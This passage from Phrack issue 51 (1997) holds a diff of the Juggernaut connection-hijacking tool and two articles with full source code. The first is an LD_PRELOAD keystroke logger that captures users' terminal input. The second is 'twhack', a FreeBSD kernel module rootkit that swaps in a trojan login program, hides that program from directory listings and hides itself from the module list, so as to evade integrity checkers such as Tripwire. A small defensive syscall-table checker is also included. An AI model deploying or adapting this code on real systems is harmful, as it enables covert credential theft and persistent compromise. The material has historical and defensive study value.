         case 25:
-        case 80:
         case 513:
         case 6667:
             if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
@@ -261,7 +266,7 @@
     void dumpp(char *,int,FILE *);

     extern int sigsentry;
-    int tlinksock=tap(DEVICE); /* Spying tap.  XXX- Really dumb way to do this... */
+    int tlinksock=tap(DEVICE,1);    /* Spying tap.  XXX- Really dumb way to do this... *
/
     time_t tp;

     ALIGNNETPOINTERS();
```

```
@@ -272,20 +277,14 @@
         time(&tp);
         fprintf(fp,": Log started:\t\t%s-----------------------------------------------
---------------------\n",ctime(&tp));
     }
-                   /* NO alaram timeout here.  SIGINT kills our spy session */
-    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO
_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,ht
ons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);
+                   /* NO alarm timeout here.  SIGINT kills our spy session */
+    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO
_TCP)if(iphp->saddr==target->daddr && iphp->daddr==target->saddr && tcphp->dest==target->
sport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epac



k
+
+.tcp),fp);

     if(fp){
         fprintf(fp,"\n------------------------------------------------------------------
---\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(targ
et->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport



)

-
-
-
-
-
-
-
-
 );
         time(&tp);
         fprintf(fp,": Log ended:\t\t%s-------------------------------------------------
--------------------\n",ctime(&tp));
@@ -347,8 +346,8 @@
         unsigned short tlen;
     }*ppheader;

-    static int moot=0;
-    int tlinksock=tap(DEVICE);
+    int moot=0;
+    int tlinksock=tap(DEVICE,1);

     ALIGNNETPOINTERS();

@@ -451,7 +450,7 @@
     extern int ripsock;
     extern int acrstpid;
     char *tempBuf=0;
-    int tlinksock=tap(DEVICE);
+    int tlinksock=tap(DEVICE,1);

     switch((acrstpid=fork())){          /* Drop a child to backround, return the
```

```
                                    parent to continue */
@@ -570,7 +569,7 @@
     extern int netreadtimeout;
     static int len;
     char *tempBuf;
-    int tlinksock=tap(DEVICE);
+    int tlinksock=tap(DEVICE,1);

     ALIGNNETPOINTERS();

@@ -675,7 +674,7 @@
     extern int netreadtimeout;
     extern int sigsentry;
     static int len;
-    int tlinksock=tap(DEVICE);
+    int tlinksock=tap(DEVICE,1);

     ALIGNNETPOINTERS();

@@ -799,7 +798,7 @@
     int grabflag=0;                      /* Time to grab some packets */
     unsigned long targetsourceip=0;
     unsigned short targetsourceport=0;
-    int tlinksock=tap(DEVICE);
+    int tlinksock=tap(DEVICE,1);

     if(!(fp=fopen(SNIFLOG,"a+"))){       /* Log to file */
         if(verbosity){
--- NumberOneCrush/prometheus.c Thu May  8 15:37:03 1997
+++ NumberOneCrush/prometheus.c Fri Jun  6 01:33:17 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                  Juggernaut
- *                                  Version b2
+ *                                  Version 1.2
  *
  *                            1996/7 Guild productions
  *                           daemon9[guild|phrack|r00t]
--- NumberOneCrush/surplus.c    Thu May  8 15:37:03 1997
+++ NumberOneCrush/surplus.c    Fri Jun  6 01:33:03 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                  Juggernaut
- *                                  Version b2
+ *                                  Version 1.2
  *
  *                            1996/7 Guild productions
  *                           daemon9[guild|phrack|r00t]
@@ -29,6 +29,7 @@
 #define HELPFILE    "./ClothLikeGauze/.help"
 #define FBUFSIZE     80
 #define MINIBUF      10
+#define DEVICE      "eth0"

 extern int verbosity;

@@ -346,6 +347,7 @@
 void cleanexit(){

     void powerdown();
+    int tap(char *,int);

     extern int ripsock;
     extern int hpid;
@@ -353,6 +355,7 @@

     close(ripsock);
     powerdown();
```

```
+    tap(DEVICE,0);                          /* Unset promisc mode on the interface */
     if(kill(hpid,SIGUSR1))if(verbosity){    /* Send signal to the hunter */
         perror("(cleanexit) Could not signal hunter");
         fprintf(stderr,"[cr]");
<-->



----[  EOF
```

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 08 of 17

-------------------------[Shared Library Redirection Techniques

--------[halflife <halflife@infonexus.com>

This article discusses shared libraries - in particular, a method for doing shared library based function call redirection for multiple purposes. During the process of writing some code, some bugs were discovered in a few shared library implementations, these are discussed as well.

First off, a short description of shared libraries is in order. Shared libraries are designed to let you share code segments among programs. In this way, memory usage is reduced significantly. Since code segments generally are not modified, this sharing scheme works rather well. Obviously for this to work, the code segments have to be location independent or PC indepenant (ip independant for the x86 programmers in the audience).

Now, since the telnetd environment variable hole, most of you know there are several environment variables that can be used to specify alternate shared libraries. Among them, on most systems, are LD_LIBRARY_PATH and LD_PRELOAD; this article strictly deals with the latter. Additionally, on Digital UNIX and Irix, this variable is called _RLD_LIST and has a slightly different syntax.

Sun's shared libraries came with an API to let users load and call shared library functions; most other vendors have cloned the interface. Oddly enough, our code will not work in SunOS, although it will in Solaris2. Anyhow, the first function to be concerned with is called dlopen(). This function basically loads the shared library and mmap()s it into memory if it is not already loaded. The first argument it accepts, is a pointer to the filename to be loaded, the second argument should usually be 1 (although some platforms seem to support other options). The manpage provides more details. A handle is returned on success, you can call dlerror() to determine if a failure occurred.

Once you have dlopen()ed a library, the next goal is to get the address of one or more of the symbols that are inside the library. You do this with the dlsym() function. Unfortunately, this is where things can get nonportable. On the freely available 4.4BSD machines I tested, dlsym() wants the function name prepended by a underscore character. This makes perfect sense to me, since that is how C stores function names internally. The System Vish implementations, which make up the majority of the tested systems, do not use such a convention. This, unfortunately, means you must use conditional compilation in order to ensure portability.

A simple example of opening a library, getting a function and calling it is shown below:

```
<++> sh_lib_redir_example.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

main()
{
        void *handle;
        void (*helloworld)(void);
        char *c;

        handle = dleopen("/tmp/helloworld.so", 1);
        c = dlerror();
        if(c)
        {
                fprintf(stderr, "couldnt open /tmp/helloworld.so\n");
                abort();
        }
#if __FreeBSD__
        helloworld = dlsym(handle, "_helloworld");
#else
        helloworld = dlsym(handle, "helloworld");
#endif
        c = dlerror();
        if(c)
        {
                fprintf(stderr, "couldnt get helloworld symbol\n");
                abort();
        }
        helloworld();
        dlclose(handle);
}
<-->
```

Okay, now that we understand how to use the programming interface, how do we do function call redirection? Well, my idea is simple; you preload a library, the preloaded library does its thing, then it dlopen()s the real library and gets the symbol and calls it. This seems to work well on Solaris, Linux (ELF), Irix (5.3 and 6.2), FreeBSD (see bugs section below), and OSF/1 (not tested).

Compiling shared libraries is a little different on each platform. The compilation stage is basically the same, it is the linking that is actually different. For GCC, you make the object with something like:

```
    gcc -fPIC -c file.c
```

That will create file.o, object code which is suitable for dynamic linking. Then you actually have to link it, which is where the fun begins :). Here is a chart for linking in the various operating systems I have tested this stuff on.

```
FreeBSD:        ld -Bshareable -o file.so file.o
Solaris:        ld -G -o file.so file.o -ldl
Linux:          ld -Bshareable -o file.so file.o -ldl
IRIX:           ld -shared -o file.so file.o
OSF/1:          ld -shared -o file.so file.o
```

On IRIX, there is an additional switch you need to use if you are running 6.2, it enables backwards ld compatibility; the manpage for ld is your guide.

Unfortunately, all is not happy in the world of shared libs since there are bugs present in some implementations. FreeBSD in particular has a bug in that if you dlsym() something and it is not found, it will not set the error so dlerror() will return NULL. OpenBSD is far far worse (*sigh*). It initializes the error to a value, and does not clear the error when you call dlerror() so at all times, dlerror() will return non NULL. Of course, OpenBSD is incompatible with our methods in other ways too, so it does not really matter I guess :). The FreeBSD bug is hacked around by testing return values for NULL.

Here is a simple TTY logger shared library example. When you preload it, it will log the keystrokes when users run any nonprivledged shared lib using program. It stores the logs in /tmp/UID_OF_USER. Pretty simple stuff.

```
<++> tty_logger.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>

/* change this to point to your libc shared lib path */
#define LIB_PATH "/usr/lib/libc.so.3.0"
```

```
#define LOGDIR "/tmp"
int logfile = -1;

static void createlog(void)
{
        char buff[4096];
        if(logfile != -1)
                return;
        memset(buff, 0, 4096);
        if(strlen(LOGDIR) > 4000)
                return;
        sprintf(buff, "%s/%d", LOGDIR, getuid());
        logfile = open(buff, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
        return;
}

static void writeout(char c)
{
        switch(c)
        {
                case '\n':
                case '\r':
                        c = '\n';
                        write(logfile, &c, 1);
                        break;
                case 27:
                        break;
                default:
                        write(logfile, &c, 1);
        }
}

ssize_t read(int fd, void *buf, size_t nbytes)
{
        void *handle;
        ssize_t (*realfunc)(int, void *, size_t);
        int result;
        int i;
        char *c;
        char d;

        handle = dlopen(LIB_PATH, 1);
        if(!handle)
                return -1;
#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
        realfunc = dlsym(handle, "read");
#else
        realfunc = dlsym(handle, "_read");
#endif
        if(!realfunc)
                return -1;
        if(logfile < 0)
                createlog();
        result = realfunc(fd, buf, nbytes);
        c = buf;
        if(isatty(fd))
        {
                if(result > 0)
                        for(i=0;i < result;i++)
                        {
                                d = c[i];
                                writeout(d);
                        }
        }
        return result;
}
<-->


----[  EOF
```

---[Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 09 of 17

-------------------------[Bypassing Integrity Checking Systems

--------[halflife <halflife@infonexus.com>

In this day and age where intrusions happen on a daily basis and there is a version of "rootkit" for every operating system imaginable, even mostly incompetent system administration staff have begun doing checksums on their binaries. For the hacker community, this is a major problem since their very clever trojan programs are quickly detected and removed. Tripwire is a very popular and free utility to do integrity checking on UNIX systems. This article explores a simple method for bypassing checks done by tripwire and other integrity checking programs.

First off, how do integrity-checking programs work? Well, when you first install them, they calculate a hash (sometimes multiple hashes) of all the binary files you wish to monitor. Then, periodically, you run the checker and it compares the current hash with the previously recorded hash. If the two differ, than something funny is going on, and it is noted. Several different algorithms exist for doing the hashes, the most popular probably being the MD5 hash.

In the past, there have been problems with several hashes. MD5 has had some collisions, as have many other secure hash algorithms. However, exploiting the collisions is still very very difficult. The code in this article does not rely on the use of a specific algorithm, rather we focus on a problem of trust -- integrity checking programs need to trust the operating system, and some may even trust libc. In code that is designed to detect compromises that would by their very nature require root access, you can not trust anything, including your own operating system.

The design of twhack had several requirements. The first is that it need not require a kernel rebuild; loadable kernel modules (lkm) provided a solution to this. The second is that it need be relatively stealthy. I managed to find a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD and NetBSD although I have not verified this). Once you load the module, the first ls type command will effectively hide the module from view. Once hidden it can not be unloaded or seen with the modunload(8) command.

First, a little information on FreeBSD loadable modules. I am using the MISC style of modules, which is basically similar to linux modules. It gives you pretty much full access to everything. LKM info is stored in an array of structures. In FreeBSD 2.2.1 the array has room for 20 modules.

Hiding the modules is really quite simple. There is a used variable that determines if the module slot is free or not. When you insert a module, the device driver looks for the first free module entry -- free being defined as an entry with 0 in the used slot and places some info in the structure. The info is mainly used for unloading, and we are not interested in that, so it is okay if other modules overwrite our structure (some might call that a feature, even).

Next we have to redirect the system calls we are interested in. This is somewhat similar to Linux modules as well. System calls are stored in an array of structures. The structure contains a pointer to the system call and a variable specifying the number of arguments. Obviously, all we are interested in is the pointer. First we bcopy the structure to a variable, then we modify the function pointer to point to our code. In our code we can do stuff like old_function.sy_call(arguments) to call the original system call -- quick and painless.

Now that we know HOW to redirect system calls, which ones do we redirect in order to bypass integrity checkers? Well, there are a number of possibilities. You could redirect open(), stat(), and a bunch of others so that reads of your modified program redirect to copies of the unmodified version. I, however, chose the opposite approach. Execution attempts of login redirect to another program, opens still go to the real login program. Since we don't want our alternative login program being detected, I also modified getdirentries so that our program is never in the buffer it returns. Similar things probably should have been done with syscall 156 which is old getdirentries, but I don't think it is defined and I don't know of anything using it, so it probably does not really matter.

Despite the attempts at keeping hidden, there are a few ways to detect this code. One of the ways of detecting (and stopping) the code is provided. It is a simple stealthy module that logs when syscall addresses change, and reverses the changes. This will stop the twhack module as provided, but is FAR from perfect.

What the checking code does is bcopy() the entire sysent array into a local copy. Then it registers an at_fork() handler and in the handler it checks the current system call table against the one in memory, if they differ it logs the differences and changes the entry back.

```
<++> twhack/Makefile
CC=gcc
LD=ld
RM=rm
CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
LDFLAGS=-r
RST=-DRESTORE_SYSCALLS

all: twhack syscheck

twhack:
        $(CC) $(CFLAGS) -c twhack.c
        $(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
        @$(RM) twhack.o

syscheck:
        $(CC) $(CFLAGS) -c syscheck.c
        $(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
        @$(RM) syscheck.o
clean:
        $(RM) -f *.o
<-->
<++> twhack/twhack.c
/*
** This code is a simple example of bypassing Integrity checking
** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
** believed to work (although not tested) in 3.0.
**
** Halflife <halflife@infonexus.com>
*/

/* change these */
#define ALT_LOGIN_PATH "/tmp/foobar"
#define ALT_LOGIN_BASE "foobar"

/* includes */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>
```

```
/* storage for original execve and getdirentries syscall entries */
static struct sysent old_execve;
static struct sysent old_getdirentries;

/* prototypes for new execve and getdirentries functions */
int new_execve __P((struct proc *p, void *uap, int retval[]));
int new_getdirentries __P((struct proc *p, void *uap, int retval[]));

/* flag used for the stealth stuff */
static int hid=0;

/* table we need for the stealth stuff */
static struct lkm_table *table;

/* misc lkm */
MOD_MISC(twhack);

/*
** this code is called when we load or unload the module. unload is
** only possible if we initialize hid to 1
*/
static int
twhack_load(struct lkm_table *l, int cmd)
{
        int err = 0;
        switch(cmd)
        {
                /*
                ** save execve and getdirentries system call entries
                ** and point function pointers to our code
                */
                case LKM_E_LOAD:
                        if(lkmexists(l))
                                return(EEXIST);
                        bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
                        sysent[SYS_execve].sy_call = new_execve;
                        bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(stru
ct sysent));
                        sysent[SYS_getdirentries].sy_call = new_getdirentries;
                        table = l;
                        break;
                /* restore syscall entries to their original condition */
                case LKM_E_UNLOAD:
                        bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
                        bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(stru
ct sysent));
                        break;
                default:
                        err = EINVAL;
                        break;
        }
        return(err);
}

/* entry point to the module */
int
twhack_mod(struct lkm_table *l, int cmd, int ver)
{
        DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
}

/*
** execve is simple, if they attempt to execute /usr/bin/login
** we change fname to ALT_LOGIN_PATH and then call the old execve
** system call.
*/
int
new_execve(struct proc *p, void *uap, int  *retval)
{
        struct execve_args *u=uap;
        if(!strcmp(u->fname, "/usr/bin/login"))
                strcpy(u->fname, ALT_LOGIN_PATH);
        return old_execve.sy_call(p, uap, retval);
}

/*
** in getdirentries() we call the original syscall first
** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
** and ALT_LOGIN_BASE should _always_ be modified and made
** very obscure, perhaps with upper ascii characters.
*/
int
new_getdirentries(struct proc *p, void *uap, int *retval)
{
        struct getdirentries_args *u=uap;
        struct dirent *dep;
        int nbytes;
        int r,i;

        /* if hid is not set, set the used flag to 0 */
        if(!hid)
        {
                table->used = 0;
                hid++;
        }
        r = old_getdirentries.sy_call(p, uap, retval);
        nbytes = *retval;
        while(nbytes > 0)
        {
                dep = (struct dirent *)u->buf;
                if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
                {
                        i = nbytes - dep->d_reclen;
                        bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
                        *retval = i;
                        return r;
                }
                nbytes -= dep->d_reclen;
                u->buf += dep->d_reclen;
        }
        return r;
}
<-->
<++> twhack/syscheck.c
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>

static int hid=0;
static struct sysent table[SYS_MAXSYSCALL];
static struct lkm_table *boo;
MOD_MISC(syscheck);
void check_sysent(struct proc *, struct proc *, int);

static int
syscheck_load(struct lkm_table *l, int cmd)
{
        int err = 0;
        switch(cmd)
        {
                case LKM_E_LOAD:
                        if(lkmexists(l))
                                return(EEXIST);
                        bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
                        boo=l;
                        at_fork(check_sysent);
                        break;
                case LKM_E_UNLOAD:
                        rm_at_fork(check_sysent);
                        break;
                default:
                        err = EINVAL;
                        break;
        }
        return(err);
}

int
syscheck_mod(struct lkm_table *l, int cmd, int ver)
{
        DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
}

void
check_sysent(struct proc *parent, struct proc *child, int flags)
{
        int i;
        if(!hid)
        {
                boo->used = 0;
                hid++;
        }
        for(i=0;i < SYS_MAXSYSCALL;i++)
        {
                if(sysent[i].sy_call != table[i].sy_call)
                {
                        printf("system call %d has been modified (old: %p new: %p)\n", i,
 table[i].sy_call, sysent[i].sy_call);
#ifdef RESTORE_SYSCALLS
                        sysent[i].sy_call = table[i].sy_call;
#endif
                }
        }
}
<-->


----[  EOF
```